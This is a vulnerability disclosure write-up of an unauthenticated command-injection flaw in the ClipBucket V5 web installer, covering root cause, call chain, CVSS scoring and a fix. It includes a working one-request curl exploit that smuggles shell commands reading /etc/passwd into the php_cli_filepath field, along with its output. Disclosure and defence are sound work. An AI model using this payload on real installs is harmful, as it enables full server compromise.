CRITICAL · 9.2 ClipBucket V5CVEVulnerability Research

CVE-2026-80138: ClipBucket V5 Unauthenticated RCE via Web Installer Command Injection

How I discovered a critical unauthenticated remote code execution vulnerability in ClipBucket V5 web installer that allows complete server compromise with a single HTTP request.

Adam NurudiniAdam Nurudini 03 SEPT 2026 6 min read CVE-2026-80138
CVE-2026-80138: ClipBucket V5 Unauthenticated RCE via Web Installer Command Injection
⚡
TL;DR

The web installer accepts a php_cli_filepath POST parameter and concatenates it directly into exec() with no escaping and no authentication. One POST request = complete server compromise. No credentials, no session, no prior interaction required.

Introduction

During security research on ClipBucket V5, an open-source video sharing platform, I discovered a critical command injection vulnerability in the web installer that allows unauthenticated remote code execution with a single HTTP request. No credentials, no session, no prior interaction required — just one POST request for complete server compromise.

Root Cause

The Unescaped Sink

The web installer's "precheck" step accepts a php_cli_filepath POST parameter intended to let administrators specify a custom PHP CLI binary path. This value is concatenated directly into a shell command with no escaping and no validation:

phpsystem.class.php:447-466 · get_php_cli_info()
public static function get_php_cli_info($php_path = null): array
{
    if( empty($php_path) ) {
        $php_path = self::get_binaries('php', false);
    }
    if( !self::check_php_function('exec', 'web', false) ){
        return [];
    }
    $complement = '';
    if( THIS_PAGE == 'cb_install' ){
        $complement = ' install';
    }
    $cmd = $php_path . ' ' . DirPath::get('admin_actions') . 'phpinfo.php' . $complement;
exec(<span class="bad">$cmd</span>, $php_cli_info);  <span class="c">// No escapeshellarg()!</span>
...

}

⚠️
Missing validation

Other binary paths in the same codebase (mysql_client, ffmpeg, ffprobe) all validate with file_exists() before use. The php_cli branch is the only one missing this check.

The Weak Access Gate

The installer's only protection is checking if files/temp/install.me exists — this file ships with the repo and is only deleted after installation completes:

phpcb_install/index.php
if (!file_exists(DirPath::get('temp') . 'install.me')) {
    if (!file_exists(DirPath::get('temp') . 'install.me.not') && 
        !file_exists(DirPath::get('temp') . 'development.dev')) {
        header('Location: //' . $_SERVER['SERVER_NAME']);
        die();
    }
}

The redirect only fires when all three marker files are absent. Since install.me ships present by default, the installer is accessible throughout the entire setup window.

The Call Chain

  1. 1cb_install/index.php:37

    $mode = $_POST['mode'] — no auth anywhere

  2. 2modes/precheck.php:29

    $_POST['php_cli_filepath'] flows to get_software_version()

  3. 3system.class.php:161-190

    get_software_version() → init_php_extensions()

  4. 4system.class.php:447

    get_php_cli_info($binary_path) → exec($cmd)

No database connection or completed config.php is required — the vulnerable path runs before database configuration (step 5 of 8).

Discovery Process

  1. 1Map Entry Points

    Reviewed installer mode handlers

  2. 2Find exec() Calls

    Searched for shell execution functions

  3. 3Trace Input

    php_cli_filepath → get_software_version()

  4. 4Check Escaping

    No escapeshellarg() or file_exists()

  5. 5Exploit

    Command injection confirmed

Exploitation

One Request, Full RCE

Tested against a fresh deployment using the official Docker image at commit da1a665:

bashunauthenticated RCE
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
  -X POST "http://target/cb_install/index.php" \
  --data-urlencode "mode=precheck" \
  --data-urlencode "php_cli_filepath=id > /srv/http/clipbucket/upload/files/temp/rce_out.txt; hostname >> /srv/http/clipbucket/upload/files/temp/rce_out.txt; cat /etc/passwd | head -3 >> /srv/http/clipbucket/upload/files/temp/rce_out.txt;#"

No cookies. No session. No prior requests. This single POST is the entire attack. The trailing ;# terminates the injected command and comments out the phpinfo.php path suffix.

textupload/files/temp/rce_out.txt
uid=1000(containeruser) gid=1000(containeruser) groups=1000(containeruser)
43f676f93eb6
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
✓
Full arbitrary command execution

Complete control as the web server user with a single unauthenticated request.

Why This Is Worse Than Admin Access

You might ask: if install.me is present, couldn't an attacker just complete the installer and create an admin account?

Key differences:

  1. No database required: The precheck step (step 2) runs before database configuration (step 5). This vulnerability requires zero knowledge of database credentials.

  2. No multi-step wizard: Finishing installation requires navigating 8 steps with valid inputs. This is one request.

  3. Admin ≠ RCE: There's no plugin upload feature. Becoming Administrator does not currently grant code execution — this bug does.

Impact

Confidentiality HIGH

Read any file: config.php with database credentials, user data, uploaded content.

Integrity HIGH

Drop webshells, modify configs, plant backdoor admin accounts.

Availability HIGH

Delete all data, crash services, ransomware deployment.

Real-World Exposure

This isn't a theoretical edge case:

  • The official Docker image and fresh git clone both leave install.me present by default
  • ClipBucket's application logic actively redirects unauthenticated visitors to /cb_install when install.me exists (check_install('before') in includes/functions.php)
  • Installer directories are commonly left in place on shared hosting, staging environments, and forgotten demo instances

CVSS 4.0 Breakdown

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)NetworkSingle HTTP POST request
Attack Complexity (AC)LowNo special technique needed
Attack Requirements (AT)Presentinstall.me must exist (default during setup)
Privileges Required (PR)NoneCompletely unauthenticated
User Interaction (UI)NoneFully automated
Confidentiality (VC)HighRead any file on server
Integrity (VI)HighWrite any file, modify data
Availability (VA)HighDelete files, crash services
Subsequent ScopeNoneNo downstream system impact

Remediation

✓
The minimal fix

Add file_exists() validation and proper escaping with escapeshellarg().

phpthe fix
public static function get_php_cli_info($php_path = null): array
{
    if( empty($php_path) ) {
        $php_path = self::get_binaries('php', false);
    }
    if( !file_exists($php_path) ){
        return ['err' => 'Unable to find PHP CLI'];
    }
    // ... rest of function
    exec(escapeshellarg($php_path) . ' ' . escapeshellarg($script_path), $php_cli_info);
}
1
Validate with file_exists()

Verify the path points to an actual binary before use.

2
Apply escapeshellarg()

Escape all user input reaching exec(), shell_exec(), system().

3
Delete install.me after setup

Ensure the installer is inaccessible post-installation.

4
Block cb_install at webserver

Add nginx/Apache rules to deny access to installer directory.

Regression Tests

  • Submitting command injection payload returns error, no execution
  • Non-existent php_cli_filepath path returns validation error
  • Special characters in path are properly escaped

Timeline

  1. 06 Aug 2026
    Discovered

    Found during security research of installer code paths.

  2. 06 Aug 2026
    Reported

    Disclosed to ClipBucket maintainers via GitHub Security Advisory.

  3. 03 Sep 2026
    CVE Assigned

    CVE-2026-80138 issued; writeup published.

References

The Lesson

Any user-controllable value that reaches exec() is a loaded weapon. Treat installer endpoints as critically as production auth — they're often more dangerous.

This vulnerability demonstrates how a single missing validation check in an installer component can lead to complete server compromise. The combination of no authentication, direct command injection, and the application actively routing traffic to the vulnerable endpoint creates a perfect storm for exploitation.


This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. All exploitation was performed in isolated lab environments.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts